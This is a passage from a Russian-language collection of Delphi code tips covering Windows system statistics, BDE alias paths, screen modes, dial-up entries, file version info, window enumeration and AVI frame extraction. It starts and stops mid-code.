  RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype, @fvmminfo.cpagefaults,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype, @fvmminfo.cpgother,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype, @fvmminfo.cpgswap,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype, @fvmminfo.cpglocked,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype, @fvmminfo.cpgfree,@vsize);
  //Для KERNEL
  RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype, @fkernelinfo.cpuusagepcnt,@vsize);
  RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@fkernelinfo.numvms,@vsize);
  RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype, @fkernelinfo.numThreads,@vsize);
  RegCloseKey(pkey);
  if assigned(SysInfoChanged) then
    SysInfoChanged(self);
end;
procedure TSysInfo.stoprecievingInfo;
var
  res:integer;
begin
  res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StopStat',0,KEY_ALL_ACCESS,pkey);
  if not fstopped then
  begin
    if res<>0 then
      raise exception.Create('Could not open registry key');
    //Для Dial Up Адаптера
    RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);
    // Для VCACHE
    RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
    //Для VFAT
    RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);
    //Для VMM
    RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);
    //Для KERNEL
    RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
    RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);
    RegCloseKey(pkey);
    ftimer.enabled:=false;
    fstopped:=true;
  end;
end;
procedure tsysinfo.fsetupdateinterval(aupdateinterval:integer);
begin
  if (ftimer<>nil) and(aupdateinterval>0) then
  begin
    ftimer.Interval:=aupdateinterval;
    fupdateinterval:=aupdateinterval;
  end;
  if (ftimer<>nil) and(aupdateinterval=0) then
  begin
    ftimer.Interval:=500;
    fupdateinterval:=500;
  end;
end;
destructor tsysinfo.Destroy;
begin
  StopRecievingInfo;
  ftimer.Destroy;
  inherited;
end;
procedure register;
begin
  RegisterComponents('Samples', [TSysInfo]);
end;
end.

Скопируйте это в файл .pas и проинсталлируйте его.

Получить позицию активного окна.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   hWindow: HWnd;
   r:       TRect;
 begin
   hWindow := GetForegroundWindow;
   GetWindowRect(hWindow, r);
   Memo1.Clear;
   with Memo1.Lines do
   begin
     Add('Top   : ' + IntToStr(r.Top));
     Add('Left  : ' + IntToStr(r.Left));
     Add('Bottom: ' + IntToStr(r.Bottom));
     Add('Right : ' + IntToStr(r.Right));
   end;
 end;

Определение возраста.

Автор: Ревенко Алексей.

DecodeDate(DM.Table.FieldByName('Born').AsDateTime, Year, Month, Day); // Дата рождения
DecodeDate(Date, YYYY, MM, DD); // Текущая дата
if (MM >= Month) and (DD >= Day) then
  Edit2.Text := IntToStr((YYYY - Year))
else
  Edit2.Text := IntToStr((YYYY - Year) - 1);

Получение информации об альясах.

uses DB, DBTables, DBITypes, DBIProcs; 
procedure TForm1.FormCreate(Sender: TObject); 
begin  
  Session.GetAliasNames(ListBox1.Items); 
end; 
procedure TForm1.ListBox1Click(Sender: TObject); 
var 
  tStr: array[0..100] of char; 
  Desc: DBDesc; 
{ 
 The DBDesc structure describes a database, using the following fields: 
 szName     DBINAME  Specifies the database alias name. 
 szText     DBINAME  Descriptive text. 
 szPhyName  DBIPATH  Specifies the physical name/path. 
 szDbType   DBINAME  Specifies the database type. 
} 
begin 
  if ListBox1.Items.Count = 0 then 
    exit; 
  StrPLCopy(tStr, ListBox1.Items.Strings[ListBox1.ItemIndex], High(tStr)); 
  DbiGetDatabaseDesc(tStr, @Desc); 
  with Desc do 
  begin 
    Label1.Caption := StrPas(Desc.szName); 
    Label2.Caption := StrPas(Desc.szPhyName); 
    Label3.Caption := StrPas(Desc.szDbType); 
    Label4.Caption := StrPas(Desc.szText); 
  end; 
end;

Отображение всех псевдонимов в ComboBox.

Статьи по Delphi (008)…

Автор: GromovRV@Bashneft.Bashnet.ru.

//Для этого надо в Uses добавить ExtCtrls
Session.GetAliasNames(ComboBox1.Items);

Получение пути псевдонима и таблицы.

Автор: Reinhard Kalinke

Есть три способа сделать это... No1 годится только для постоянных псевдонимов BDE. No2 работает с BDE и локальными псевдонимами, и No3 работает с BDE и локальными псевдонимами, используя "тяжелый" путь, через вызовы DBI.

function GetDBPath1(AliasName: string): TFileName;
var
  ParamList: TStringList;
begin
  ParamList := TStringList.Create;
  with Session do
  try
    GetAliasParams(AliasName, ParamList);
    Result := UpperCase(ParamList.Values['PATH']) + '\';
  finally
    Paramlist.Free;
  end;
end;
function GetDBPath2(AliasName: string): TFileName;
var
  ParamList: TStringList;
  i: integer;
begin
  ParamList := TStringList.Create;
  with Session do
  try
    try
      GetAliasParams(AliasName, ParamList);
    except
      for i := 0 to pred(DatabaseCount) do
        if (Databases[i].DatabaseName = AliasName) then
          ParamList.Assign(Databases[i].Params);
    end;
    Result := UpperCase(ParamList.Values['PATH']) + '\';
  finally
    Paramlist.Free;
  end;
end;
function GetDBPath3(ATable: TTable): TFileName;
var
  TblProps: CURProps;
  pTblName, pFullName: DBITblName;
begin
  with ATable do
  begin
    AnsiToNative(Locale, TableName, pTblName, 255);
    Check(DBIGetCursorProps(Handle, TblProps));
    Check(DBIFormFullName(DBHandle,
      pTblName,
      TblProps.szTableType,
      pFullName));
    Result := ExtractFilePath(StrPas(pFullName));
  end;
end;

Получение пути псевдонима и таблицы 2.

Вот маленький примерчик того, как в Delphi можно получить информацию о псевдонимах. Для начала создайте новый проект с ListBox и тремя метками (с именамиListВох1, Label1, Label2 и Label3). Затем создайте обработчик события формы OnCreate с примерно следующим кодом:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Session.GetAliasNames(ListBox1.Items);
end;

Теперь создайте обработчик OnClick для ListBox:

procedure TForm1.ListBox1Click(Sender: TObject);
var
  tStr: array[0..100] of char;
  Desc: DBDesc;
begin
  if ListBox1.Items.Count = 0 then
    exit;
  StrPLCopy(tStr, ListBox1.Items.Strings[ListBox1.ItemIndex], High(tStr));
  DbiGetDatabaseDesc(tStr, @Desc);
  with Desc do
  begin
    Label1.Caption := StrPas(Desc.szName);
    Label2.Caption := StrPas(Desc.szPhyName);
    Label3.Caption := StrPas(Desc.szDbType);
  end;
end;

Добавьте следующие модули в секцию 'uses' в верхней части модуля:

DB, DBTables, DBITypes, DBIProcs; 

Теперь вы можете увидеть путь для всех ваших стандартных псевдонимов (Paradox и dBase).

Получение пути псевдонима и таблицы 3.

Используйте Session.GetAliasParams. В ответ вы получите объект Tstrings, откуда вы можете получить значение для переменной 'PATH". Для получения дополнительной информации обратитесь к электронной справке к разделу, описывающему TSession. Объект Session объявлен в модуле DB.

uses  db;
var
  aliaspath: string[128];
begin
  aliaspath := Session.GetAliasParams['MyAlias'].values['PATH'];
end;
uses SysUtils,DbiProcs, DBiTypes;
...
function GetDataBaseDir(const Alias : string): String;
(* Возвращает каталог базы данных, на которую
ссылается псевдним (без конечного обратного слеша) *)
var
  sp: PChar;
  Res: pDBDesc;
begin
  try
    New(Res);
    sp := StrAlloc(length(Alias)+1);
    StrPCopy(sp,Alias);
    if DbiGetDatabaseDesc(sp,Res) =  0 then 
      Result := StrPas(Res^.szPhyName)
    else 
      Result := '';
  finally
    StrDispose(sp);
    Dispose(Res);
  end;
end;

Получение пути псевдонима и таблицы 4.

Автор: Nomadic По таблице (фактически по Database) получить физическое местонахождение.

Примечание: Database можно создать явно, если нет, Дельфи сама его создаст, доступ к ней по Table(Query).Database.

uses DbiProcs;
function GetDirByDatabase( Database: TDatabase ): string;
var
  pszDir: PChar;
begin
  pszDir := StrAlloc( 255 );
  try
    DbiGetDirectory( Database.Handle, True, pszDir );
    Result := StrPas( pszDir );
  finally
    StrDispose( pszDir );
  end;
end;

По алиасу.

function GetPhNameByAlias( sAlias: string ): string;
var
  Database: TDatabase;
  pszDir: PChar;
begin
  Database := TDatabase.Create( nil ); {allocate memory}
  pszDir := StrAlloc( 255 );
  try
    Database.AliasName := sAlias;
    Database.DatabaseName := 'TEMP'; {requires a name -- is ignored}
    Database.Connected := True; {connect without opening any table}
    DbiGetDirectory( Database.Handle, True, pszDir ); {get the dir.}
    Database.Connected := False; {disconnect}
    Result := StrPas( pszDir ); {convert to a string}
  finally
    Database.Free; {free memory}
    StrDispose( pszDir );
  end;
end; 

Получить все возможные разрешения экрана.

Правильная посадка за компьютером: - руки на ширине плеч, - ноги полусогнуты или вытянуты под столом, - глаза выпучены, - монитор включен.
procedure TForm1.Button1Click(Sender: TObject);
var 
  DC: THandle;      // display context
  Bits: integer;    // bits per pixel
  HRes: integer;    // horizontal resolution
  VRes: integer;    // vertical resolution
  DM: TDevMode;     // to Save EnumDisplaySettings
  ModeNum: longint; // video mode number
  Ok: Bool;
  fre: integer;     // refresh rate 
begin 
  DC   := GetDC(Handle); 
  Bits := GetDeviceCaps(DC, BITSPIXEL); 
  HRes := GetDeviceCaps(DC, HORZRES); 
  VRes := GetDeviceCaps(DC, VERTRES); 
  fre  := GetDeviceCaps(DC, VREFRESH); 
  // Show Current Resolution 
  Edit1.Text := Format('%d bit, %d x %d', [Bits, HRes, VRes]); 
  ReleaseDC(Handle, DC); // Show all modes available ModeNum := 0;  // The 1st one 
  EnumDisplaySettings(nil, ModeNum, DM); 
  ListBox1.Items.Add(Format('%d bit, %d x %d bei %d Hz', [DM.dmBitsPerPel, 
    DM.dmPelsWidth, DM.dmPelsHeight, Dm.dmDisplayFrequency])); 
  Ok := True; 
  while Ok do 
  begin 
    Inc(ModeNum); // Get next one 
    Ok := EnumDisplaySettings(nil, ModeNum, DM); 
    ListBox1.Items.Add(Format('%d bit, %d x %d bei %d Hz', [DM.dmBitsPerPel, 
      DM.dmPelsWidth, DM.dmPelsHeight, Dm.dmDisplayFrequency])); 
  end; 
end;

Как получить все Dial-Up соединения.

Статьи по Delphi (008)…
Один программер пришел в гости к другому. Сидят, пиво попивают. Тут на кухню заваливает огромный серый котяра. - Это мой кот. Зовут Зухель. - Почему Зухель? - Смотри. - берет веник, тычет в кота. - Зухель! Коннект! (Кот): - Шшшшшшшшш...

Способ 1 - из реестра:

uses Registry;
function DUNGetConnections(out OutList: TStringList): Boolean;
  var Reg: TRegistry;
begin
  OutList.Clear;
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_CURRENT_USER;
  if Reg.OpenKey('\RemoteAccess\Profile', False) then
  begin
    Reg.GetKeyNames(OutList);
    Result := True;
  end
  else
    Result := False;
  Reg.Free;
end;

Способ 2 - через RASApi:

Для этого воспользуемся функцией Use RASEnumConnections.

Далее можно определить состояние каждого соединения при помощи RASGetConnectStatus.

Так же можно использовать RASEnumEntries для получения всех сервисов из определённой телефонной книжки.

Толька для этого потребуется преобразовать заголовочный файл RAS.h в эквивалент Delphi.

Получаем всю информацию о файле.

Статьи по Delphi (008)… Автор: Brian Pedersen

Данный объект может быть использован для получения исчерпывающей информации о любом файле. Так же включена функция выполнения файла Execute().

Использование: создайте объект с именем файла или путём.

unit FileInfo;
interface
uses
  forms, shellapi, windows, sysutils;
type
  EFileInfo = exception;
  TLangInfoBuffer = array [1..4] of SmallInt;
  TFileInfo = class
  private
    f : TSearchRec;
    fVerBlk : TVSFixedFileInfo;
    fFileName : string;
    function GetFileVersion( AFileName : string ) : boolean;
  public
    constructor Create( AFileName : string ); // Создаём объект
    destructor Destroy; override;
    function Execute : integer; // Открывает файл в программе, связанной с ним
    function VersionString : string; // Версия файла. Строка пустая, если строка не найдена
    function OS : string; // Операционная система
    function Path : string; // Путь файла
    function FileName : string; // Имя файла
    function name : string; // Имя файла без расширения
    function DosFileName : string; // Имя файла в DOS
    function FileExt : string; // Расширение файла
    function FileType : string; // Тип файла
    function FileSize : longint; // Размер файла
    function isDebugBuild : boolean; // True если флаг отладки (debug build) установлен
    function isPreRelease : boolean; // True если флаг prerelease установлен
    function isPrivateBuild : boolean; // True если флаг private установлен
    function isSpecialBuild : boolean; // True если флаг special build установлен
    function isDirectory : boolean; // True если файл является директорией
    function isHidden : boolean; // True если файл является скрытым (hidden)
    function isSystemFile : boolean; // True если файл является системным
    function isVolumeId : boolean; // True если файл является меткой тома
    function isArchive : boolean; // True если файл является архивом
    function CreationTime : TDateTime; // Время создания файла
    function LastAccessed : TDateTime; // Время последнего доступа к файлу
    function LastWritten : TDateTime; // Время последней записи в файл
end;
implementation
constructor TFileInfo.Create(AFileName: string);
var
  ret: integer;
begin
  inherited Create;
  fFileName := AFileName;
  ret := FindFirst( AFileName, faReadOnly + faHidden+ faSysFile +
    faVolumeID + faDirectory + faArchive + faAnyFile, f );
  if ret <> 0 then
    SysUtils.RaiseLastWin32Error;
end;
destructor TFileInfo.Destroy;
begin
  FindClose( f );
end;
function TFileInfo.GetFileVersion(AFileName: string): boolean;
var
  InfoSize, puLen: DWord;
  Pt, InfoPtr: Pointer;
begin
  InfoSize := GetFileVersionInfoSize( PChar(AFileName), puLen );
  fillchar( fVerBlk, sizeof(TVSFixedFileInfo), 0);
  if InfoSize > 0 then
  begin
    GetMem(Pt,InfoSize);
    GetFileVersionInfo( PChar(AFileName), 0, InfoSize, Pt);
    VerQueryValue(Pt,'\',InfoPtr,puLen);
    move(InfoPtr^, fVerBlk, sizeof(TVSFixedFileInfo) );
    FreeMem(Pt);
    result := true;
  end
  else
    result := false;
end;
function TFileInfo.VersionString: string;
begin
  if GetFileVersion( fFileName ) then
    result := Format('%u.%u.%u.%u',
    [HiWord(fVerBlk.dwProductVersionMS),
    LoWord(fVerBlk.dwProductVersionMS),
    HiWord(fVerBlk.dwProductVersionLS),
    LoWord(fVerBlk.dwProductVersionLS)])
  else
    result := '';
end;
function TFileInfo.isDebugBuild : boolean;
begin
  result := FALSE;
  if GetFileVersion( fFileName ) then
    result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
    VS_FF_DEBUG) <> 0
end;
function TFIleInfo.isPreRelease : boolean;
begin
  result := FALSE;
  if GetFileVersion( fFileName ) then
    result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
    VS_FF_PRERELEASE) <> 0
end;
function TFIleInfo.isPrivateBuild : boolean;
begin
  result := FALSE;
  if GetFileVersion( fFileName ) then
    result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
    VS_FF_PRIVATEBUILD) <> 0
end;
function TFIleInfo.isSpecialBuild : boolean;
begin
  result := FALSE;
  if GetFileVersion( fFileName ) then
    result := (fVerBlk.dwFileFlagsMask and fVerBlk.dwFileFlags and
    VS_FF_SPECIALBUILD) <> 0
end;
function TFileInfo.OS : string;
begin
  if GetFileVersion( fFileName ) then
    case fVerBlk.dwFileOS of
      VOS_DOS_WINDOWS16 : result := 'MS-DOS or 16 bit Windows';
      VOS_DOS_WINDOWS32 : result := '32 bit Windows';
      VOS_OS216_PM16 : result := '16 bit OS/2';
      VOS_OS232_PM32 : result := '32 bit OS/2';
      VOS_NT_WINDOWS32 : result := 'Win32 or Windows NT';
      else
        result := 'Unknown OS';
    end
  else
    result := '';
end;
function TFileInfo.FileType : string;
var
  S: string;
begin
  S := '';
  if GetFileVersion( fFileName ) then
  begin
    case fVerBlk.dwFileType of
      VFT_APP : S := 'Application';
      VFT_DLL : S := 'Dynamic Link Library (DLL)';
      VFT_DRV :
      begin
        S := 'Device Driver - ';
        case fVerBlk.dwFileSubtype of
          VFT2_DRV_PRINTER : S := S + 'Printer';
          VFT2_DRV_KEYBOARD : S := S + 'Keyboard';
          VFT2_DRV_LANGUAGE : S := S + 'Language';
          VFT2_DRV_DISPLAY : S := S + 'Display';
          VFT2_DRV_MOUSE : S := S + 'Mouse';
          VFT2_DRV_NETWORK : S := S + 'Network';
          VFT2_DRV_SYSTEM : S := S + 'System';
          VFT2_DRV_INSTALLABLE : S := S + 'Installable';
          VFT2_DRV_SOUND : S := S + 'Sound';
          else
            S := S + 'Unknown';
        end;
      end;
      VFT_FONT :
      begin
        S := 'Font File - ';
        case fVerBlk.dwFileSubType of
          VFT2_FONT_RASTER : S := S + 'Raster';
          VFT2_FONT_VECTOR : S := S + 'Vector';
          VFT2_FONT_TRUETYPE : S := S + 'TrueType';
          else
            S := S + 'Unknown';
        end;
      end;
      VFT_VXD : S := 'Virtual Device';
      VFT_STATIC_LIB : S := 'Static Link Library';
      else
        S := 'Unknown File Type';
    end;
  end;
  Result := S;
end;
function TFileInfo.Path : string;
begin
  result := ExtractFilePath( fFileName );
end;
function TFileInfo.FileName : string;
begin
  result := ExtractFileName( fFileName );
end;
function TFileInfo.name : string;
begin
  if Pos( FileExt, FileName ) > 0 then
    result := Copy( FileName, 0, pos( FileExt, FileName )-1 )
  else
    result := FileName;
end;
function TFileInfo.DosFileName : string;
begin
  result := StrPas( f.FindData.cAlternateFileName )
end;
function TFileInfo.FileExt : string;
begin
  result := ExtractFileExt( fFileName );
end;
function TFileInfo.isDirectory : boolean;
begin
  result := f.Attr and faDirectory = faDirectory;
end;
function TFileInfo.isHidden : boolean;
begin
  result := f.Attr and faHidden = faHidden;
end;
function TFileInfo.isSystemFile : boolean;
begin
  result := f.Attr and faSysFile = faSysFile;
end;
function TFileInfo.isVolumeId : boolean;
begin
  result := f.Attr and faVolumeId = faVolumeId;
end;
function TFileInfo.isArchive : boolean;
begin
  result := f.Attr and faArchive = faArchive;
end;
function TFileInfo.FileSize : longint;
begin
  result := f.Size;
end;
function TFileInfo.CreationTime : TDateTime;
var
  LTime: TFileTime;
  Systemtime: TSystemtime;
begin
  FileTimeToLocalFileTime( f.FindData.ftCreationTime, LTime);
  FileTimeToSystemTime( LTime, SystemTime );
  result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.LastAccessed : TDateTime;
var
  LTime : TFileTime;
  Systemtime : TSystemtime;
begin
  FileTimeToLocalFileTime( f.FindData.ftLastAccessTime, LTime);
  FileTimeToSystemTime( LTime, SystemTime );
  result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.LastWritten : TDateTime;
var
  LTime : TFileTime;
  Systemtime : TSystemtime;
begin
  FileTimeToLocalFileTime( f.FindData.ftLastWriteTime, LTime);
  FileTimeToSystemTime( LTime, SystemTime );
  result := SystemTimeToDateTime( SystemTime);
end;
function TFileInfo.Execute : integer;
begin
  result := shellapi.ShellExecute( Application.Handle, 'open',
    pChar( fFileName ), '', pChar(Path), SW_SHOWDEFAULT );
  case result of
    0 :
      raise Exception.Create( 'Недостаточно памяти или ресурсов.' );
    ERROR_FILE_NOT_FOUND :
      raise Exception.Create( 'Указанный файл не найден.' );
    ERROR_PATH_NOT_FOUND :
      raise Exception.Create( 'Указанный путь не найден.' );
    ERROR_BAD_FORMAT :
      raise Exception.Create( 'Ошибка файла .EXE (не -Win32 .EXE или ошибка ' + 'в .EXE).' );
    SE_ERR_ACCESSDENIED :
      raise Exception.Create( 'Доступ к файлу запрещён.' );
    SE_ERR_ASSOCINCOMPLETE :
      raise Exception.Create( 'The filename association is incomplete or invalid.' );
    SE_ERR_DDEBUSY :
      raise Exception.Create( 'Транзакция DDE не может быть завершена, потому что ' +
      'другая транзакция DDE находится в процессе выполнения.' );
    SE_ERR_DDEFAIL :
      raise Exception.Create( 'Ошибка транзакции DDE.' );
    SE_ERR_DDETIMEOUT :
      raise Exception.Create( 'DDE транзакция не может быть завершина из-за тайм-аута.' );
    SE_ERR_DLLNOTFOUND :
      raise Exception.Create( 'Указанная dynamic-link library не найдена.' );
    SE_ERR_NOASSOC :
      raise Exception.Create( 'Не найдено приложение связанной с данным расширением файла.' );
    SE_ERR_OOM :
      raise Exception.Create( 'Недостаточно памяти для завершения операции.' );
    SE_ERR_SHARE :
      raise Exception.Create( 'Файл используется другим приложением.' );
    else
  end;
end;
end.

Как получить список всех запущенных процессов.

Статьи по Delphi (008)…

Поставь на форму список TListbox и кнопку TButton, по нажатию на кнопке напиши такой код:

procedure TForm1.Button1Click(Sender: TObject);
var
  Wnd: hWnd;
  buff: array[0..127] of Char;
begin
  ListBox1.Clear;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  while Wnd <> 0 do begin {Не показываем:}
    if (Wnd <> Application.Handle) and {-Собственное окно}
      IsWindowVisible(Wnd) and {-Невидимые окна}
      (GetWindow(Wnd, gw_Owner) = 0) and {-Дочернии окна}
      (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
      then begin
      GetWindowText(Wnd, buff, sizeof(buff));
      ListBox1.Items.Add(StrPas(buff));
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
  ListBox1.ItemIndex := 0;
end;

Получаем заголовок чужого компонента, который под мышью.

procedure TForm1.Timer1Timer(Sender: TObject);
var
 s: string;
 h: HWND;
begin
 h := WindowFromPoint(Mouse.CursorPos);
 SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
 SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
 SetLength(s, lStrLen(PChar(s)));
 Label1.Caption := s;
end;

Некрасиво то, что вся эта ерунда висит на таймере...

Получить приложение, ассоциированное с указанным расширением файлов.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  FindExecutable returns the name and handle to the executable 
  (.EXE) file associated with a specified file type (.BMP) 
}
 { 
  Wenn du z.B eine BMP-Datei anklickst, wird die 
  dazugehorige Anwendung MSPAINT.EXE mit der Datei als 
  Parameter ausgefuhrt. In diesem Beispiel wird 
  herausgefunden, welche Anwendung (hier MSPAINT.EXE) 
  mit dem jeweiligen Datei Typ verknupft ist. 
}
 function ShellFindExecutable(const FileName, DefaultDir: string): string;
 var
   Res: HINST;
   Buffer: array[0..MAX_PATH] of Char;
   P: PChar;
 begin
   FillChar(Buffer, SizeOf(Buffer), #0);
   if DefaultDir = '' then P := nil
    else
      P := PChar(DefaultDir);
   Res := FindExecutable(PChar(FileName), P, Buffer);
   if Res > 32 then
   begin
     P := Buffer;
     while PWord(P)^ <> 0 do
     begin
       if P^ = #0 then // FindExecutable replaces #32 with #0 
        P^ := ' ';
       Inc(P);
     end;
     Result := Buffer;
   end
    else
     Result := '';
 end;
 // Example, Beispiel: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShellFindExecutable('1stboot.bmp', 'c:\windows');
 end;

Как узнать версию программы.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

function FileVersion(AFileName: string): string;
var
  szName: array[0..255] of Char;
  P: Pointer;
  Value: Pointer;
  Len: UINT;
  GetTranslationString: string;
  FFileName: PChar;
  FValid: boolean;
  FSize: DWORD;
  FHandle: DWORD;
  FBuffer: PChar;
begin
  try
    FFileName := StrPCopy(StrAlloc(Length(AFileName) + 1), AFileName);
    FValid := False;
    FSize := GetFileVersionInfoSize(FFileName, FHandle);
    if FSize > 0 then
    try
      GetMem(FBuffer, FSize);
      FValid := GetFileVersionInfo(FFileName, FHandle, FSize, FBuffer);
    except
      FValid := False;
      raise;
    end;
    Result := '';
    if FValid then
      VerQueryValue(FBuffer, '\VarFileInfo\Translation', p, Len)
    else
      p := nil;
    if P <> nil then
      GetTranslationString := IntToHex(MakeLong(HiWord(Longint(P^)),
        LoWord(Longint(P^))), 8);
    if FValid then
    begin
      StrPCopy(szName, '\StringFileInfo\' + GetTranslationString +
        '\FileVersion');
      if VerQueryValue(FBuffer, szName, Value, Len) then
        Result := StrPas(PChar(Value));
    end;
  finally
    try
      if FBuffer <> nil then
        FreeMem(FBuffer, FSize);
    except
    end;
    try
      StrDispose(FFileName);
    except
    end;
  end;
end;

В качестве параметра задать имя программы, если своей программы:

FileVersion(Paramstr(0)); 

Как экстрагировать фрейм из AVI.

Автор: http://www.swissdelphicenter.ch

uses
  VfW { from download };
function GrabAVIFrame(avifn: string; iFrameNumber: Integer; ToFileName:
  TFileName): Boolean;
var
  Error: Integer;
  pFile: PAVIFile;
  AVIStream: PAVIStream;
  gapgf: PGETFRAME;
  lpbi: PBITMAPINFOHEADER;
  bits: PChar;
  hBmp: HBITMAP;
  AviInfo: TAVIFILEINFOW;
  sError: string;
  TmpBmp: TBitmap;
  DC_Handle: HDC;
begin
  Result := False;
  // Initialize the AVIFile library.
  AVIFileInit;
  // The AVIFileOpen function opens an AVI file
  Error := AVIFileOpen(pFile, PChar(avifn), 0, nil);
  if Error <> 0 then
  begin
    AVIFileExit;
    case Error of
      AVIERR_BADFORMAT: sError := 'The file couldnot be read';
      AVIERR_MEMORY: sError :=
        'The file could not be opened because of insufficient memory.';
      AVIERR_FILEREAD: sError :=
        'A disk error occurred while reading the file.';
      AVIERR_FILEOPEN: sError :=
        'A disk error occurred while opening the file.';
    end;
    ShowMessage(sError);
    Exit;
  end;
  // AVIFileInfo obtains information about an AVI file
  if AVIFileInfo(pFile, @AVIINFO, SizeOf(AVIINFO)) <> AVIERR_OK then
  begin
    // Clean up and exit
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;
  // Show some information about the AVI
